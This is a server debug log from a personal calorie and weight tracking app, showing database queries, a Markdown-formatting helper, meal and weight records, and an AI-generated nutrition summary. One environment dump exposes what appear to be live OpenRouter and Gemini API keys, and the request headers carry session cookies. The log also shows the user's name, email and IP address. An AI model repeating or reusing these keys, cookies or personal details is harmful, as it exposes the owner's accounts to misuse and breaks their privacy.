    calories: 30,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 1,
    quantity: '100ml'
  },
  {
    id: 452,
    item_name: 'Roti',
    calories: 350,
    protein_gm: 11,
    carbs_gm: 74,
    fat_gm: 4,
    quantity: '3.5'
  },
  {
    id: 453,
    item_name: 'Aloo Matar Sabzi',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 23,
    fat_gm: 6,
    quantity: '1 serving (approx 150g)'
  },
  {
    id: 454,
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '100ml'
  },
  {
    id: 455,
    item_name: 'Jaggery Nuts Patti',
    calories: 90,
    protein_gm: 2,
    carbs_gm: 12,
    fat_gm: 5,
    quantity: '1 small piece (approx 20g, assuming a small piece is about 20g)'
  }
]
2025-12-19T10:21:12.360Z server-connect:app Executing action step paged
2025-12-19T10:21:12.360Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-19T10:21:12.362Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 15,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-19T10:21:12.362Z server-connect:app Executing action step run
2025-12-19T10:21:12.363Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-19T10:21:12.364Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 447 | Walnut | 26 | 1 | 1 | 3 | 2 pieces |\n' +
  '| 448 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 449 | Milk Tea (without sugar) | 60 | 3 | 5 | 3 | 100 ml |\n' +
  '| 450 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 451 | Milk Tea (without sugar) | 30 | 3 | 5 | 1 | 100ml |\n' +
  '| 452 | Roti | 350 | 11 | 74 | 4 | 3.5 |\n' +
  '| 453 | Aloo Matar Sabzi | 150 | 5 | 23 | 6 | 1 serving (approx 150g) |\n' +
  '| 454 | Milk Tea (without sugar) | 30 | 2 | 3 | 2 | 100ml |\n' +
  '| 455 | Jaggery Nuts Patti | 90 | 2 | 12 | 5 | 1 small piece (approx 20g, assuming a small piece is about 20g) |\n' +
  '\n'
2025-12-19T10:21:12.364Z server-connect:app Executing action step run
2025-12-19T10:21:12.364Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-19T10:21:12.365Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-19T10:21:12.365Z server-connect:app Executing action step setvalue
2025-12-19T10:21:12.365Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-19T10:21:12.365Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 447 | Walnut | 26 | 1 | 1 | 3 | 2 pieces |\n' +
  '| 448 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 449 | Milk Tea (without sugar) | 60 | 3 | 5 | 3 | 100 ml |\n' +
  '| 450 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 451 | Milk Tea (without sugar) | 30 | 3 | 5 | 1 | 100ml |\n' +
  '| 452 | Roti | 350 | 11 | 74 | 4 | 3.5 |\n' +
  '| 453 | Aloo Matar Sabzi | 150 | 5 | 23 | 6 | 1 serving (approx 150g) |\n' +
  '| 454 | Milk Tea (without sugar) | 30 | 2 | 3 | 2 | 100ml |\n' +
  '| 455 | Jaggery Nuts Patti | 90 | 2 | 12 | 5 | 1 small piece (approx 20g, assuming a small piece is about 20g) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-19T10:21:12.365Z server-connect:app Executing action step processWithGemini
2025-12-19T10:21:12.365Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-19T10:21:13.711Z server-connect:output health_summary: {
  summary: "The day's nutrition shows a decent protein intake, particularly from the whey supplement, which supports muscle development. However, the meal composition leans heavily on carbohydrates from roti and sabzi, with limited variety in vegetables and healthy fats. Meal timing appears somewhat spread out, and recovery support could be enhanced with more diverse nutrient sources.",
  rating: 6,
  good_points: [
    'Inclusion of whey protein for muscle development.',
    'Consistent early morning gym sessions.',
    'Use of unsweetened milk tea is a positive choice.'
  ],
  bad_points: [
    'Carbohydrate sources are dominant in the main meal.',
    'Limited variety in vegetables and fiber intake.',
    'Fat sources are primarily from cooking oil and nuts, could be more diverse.',
    'The jaggery nuts patti adds a significant amount of sugar.'
  ],
  suggestions: [
    'Incorporate a larger portion of vegetables in the main meal.',
    'Consider adding lean protein sources to meals beyond the supplement.',
    'Increase intake of fruits or other fibrous foods.',
    'Hydrate adequately throughout the day.'
  ],
  predicted_weight_trend: 'gradual decrease',
  predicted_weight: 70.2
}
2025-12-19T10:21:13.711Z server-connect:app Executing action step condition
2025-12-19T10:21:13.711Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-19T10:21:13.711Z server-connect:app Executing action step delete
2025-12-19T10:21:13.711Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-19T10:21:13.712Z server-connect:output delete: { affected: 1 }
2025-12-19T10:21:13.713Z server-connect:app Executing action step insert
2025-12-19T10:21:13.713Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-19T10:21:13.713Z server-connect:output insert: { affected: 1, identity: 42 }
2025-12-19T10:21:13.713Z server-connect:output condition: undefined
2025-12-19T10:21:13.939Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T10:21:13.940Z server-connect:app Executing action step identify
2025-12-19T10:21:13.940Z server-connect:app options: { provider: 'security' }
2025-12-19T10:21:13.940Z server-connect:output identity: 1
2025-12-19T10:21:13.940Z server-connect:app Executing action step restrict
2025-12-19T10:21:13.940Z server-connect:app options: { provider: 'security' }
2025-12-19T10:21:13.940Z server-connect:output restrict: undefined
2025-12-19T10:21:13.940Z server-connect:app Executing action step single
2025-12-19T10:21:13.940Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T10:21:13.941Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's nutrition shows a decent protein intake, particularly from the whey supplement, which supports muscle development. However, the meal composition leans heavily on carbohydrates from roti and sabzi, with limited variety in vegetables and healthy fats. Meal timing appears somewhat spread out, and recovery support could be enhanced with more diverse nutrient sources.",
    bad_points: [
      'Carbohydrate sources are dominant in the main meal.',
      'Limited variety in vegetables and fiber intake.',
      'Fat sources are primarily from cooking oil and nuts, could be more diverse.',
      'The jaggery nuts patti adds a significant amount of sugar.'
    ],
    good_points: [
      'Inclusion of whey protein for muscle development.',
      'Consistent early morning gym sessions.',
      'Use of unsweetened milk tea is a positive choice.'
    ],
    suggestions: [
      'Incorporate a larger portion of vegetables in the main meal.',
      'Consider adding lean protein sources to meals beyond the supplement.',
      'Increase intake of fruits or other fibrous foods.',
      'Hydrate adequately throughout the day.'
    ],
    predicted_weight: 70.2,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-18T18:30:00.000Z'
}
2025-12-19T10:25:34.768Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-19T10:25:34.768Z server-connect:app Executing action step identify
2025-12-19T10:25:34.768Z server-connect:app options: { provider: 'security' }
2025-12-19T10:25:34.768Z server-connect:output identity: 1
2025-12-19T10:25:34.768Z server-connect:app Executing action step restrict
2025-12-19T10:25:34.768Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:25:34.770Z server-connect:output restrict: undefined
2025-12-19T10:25:34.770Z server-connect:app Executing action step processWithGemini
2025-12-19T10:25:34.770Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-19T10:26:20.174Z server-connect:router Serving templateView /calorie-tracker
2025-12-19T10:26:20.175Z server-connect:app Executing action step identify
2025-12-19T10:26:20.175Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:20.175Z server-connect:output identity: 1
2025-12-19T10:26:20.175Z server-connect:app Executing action step restrict
2025-12-19T10:26:20.175Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T10:26:20.175Z server-connect:output restrict: undefined
2025-12-19T10:26:20.175Z server-connect:router Render template layouts/main
2025-12-19T10:26:20.176Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-19T10:26:20.372Z server-connect:app Executing action step identify
2025-12-19T10:26:20.372Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:20.372Z server-connect:output identity: 1
2025-12-19T10:26:20.702Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-19T10:26:20.703Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T10:26:20.704Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-19T10:26:20.704Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-19T10:26:20.704Z server-connect:app Executing action step identify
2025-12-19T10:26:20.704Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:20.704Z server-connect:output identity: 1
2025-12-19T10:26:20.704Z server-connect:app Executing action step restrict
2025-12-19T10:26:20.704Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:26:20.705Z server-connect:app Executing action step identify
2025-12-19T10:26:20.705Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:20.705Z server-connect:output identity: 1
2025-12-19T10:26:20.705Z server-connect:app Executing action step restrict
2025-12-19T10:26:20.705Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:20.705Z server-connect:output restrict: undefined
2025-12-19T10:26:20.705Z server-connect:app Executing action step single
2025-12-19T10:26:20.705Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T10:26:20.706Z server-connect:app Executing action step identify
2025-12-19T10:26:20.706Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:20.706Z server-connect:output identity: 1
2025-12-19T10:26:20.706Z server-connect:app Executing action step restrict
2025-12-19T10:26:20.706Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:26:20.708Z server-connect:output restrict: undefined
2025-12-19T10:26:20.708Z server-connect:app Executing action step single
2025-12-19T10:26:20.708Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-19T10:26:20.708Z server-connect:app Executing action step identify
2025-12-19T10:26:20.708Z server-connect:app options: { provider: 'security' }
2025-12-19T10:26:20.708Z server-connect:output identity: 1
2025-12-19T10:26:20.708Z server-connect:app Executing action step restrict
2025-12-19T10:26:20.708Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:26:20.710Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's nutrition shows a decent protein intake, particularly from the whey supplement, which supports muscle development. However, the meal composition leans heavily on carbohydrates from roti and sabzi, with limited variety in vegetables and healthy fats. Meal timing appears somewhat spread out, and recovery support could be enhanced with more diverse nutrient sources.",
    bad_points: [
      'Carbohydrate sources are dominant in the main meal.',
      'Limited variety in vegetables and fiber intake.',
      'Fat sources are primarily from cooking oil and nuts, could be more diverse.',
      'The jaggery nuts patti adds a significant amount of sugar.'
    ],
    good_points: [
      'Inclusion of whey protein for muscle development.',
      'Consistent early morning gym sessions.',
      'Use of unsweetened milk tea is a positive choice.'
    ],
    suggestions: [
      'Incorporate a larger portion of vegetables in the main meal.',
      'Consider adding lean protein sources to meals beyond the supplement.',
      'Increase intake of fruits or other fibrous foods.',
      'Hydrate adequately throughout the day.'
    ],
    predicted_weight: 70.2,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-18T18:30:00.000Z'
}
2025-12-19T10:26:20.711Z server-connect:output restrict: undefined
2025-12-19T10:26:20.711Z server-connect:app Executing action step select
2025-12-19T10:26:20.711Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-19T10:26:20.711Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-19T10:26:20.712Z server-connect:output restrict: undefined
2025-12-19T10:26:20.712Z server-connect:app Executing action step single
2025-12-19T10:26:20.712Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-19T10:26:20.713Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-19T10:26:20.713Z server-connect:app Executing action step select
2025-12-19T10:26:20.713Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-19T10:26:20.715Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
